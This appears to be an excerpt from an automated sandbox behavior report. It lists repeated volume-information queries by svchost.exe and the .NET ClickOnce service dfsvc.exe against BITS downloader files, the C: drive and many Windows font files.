Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C: VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C: VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C: VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\userbril.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\userbrii.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\userbrili.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\userbrib.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\userbriz.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation Jump to behavior
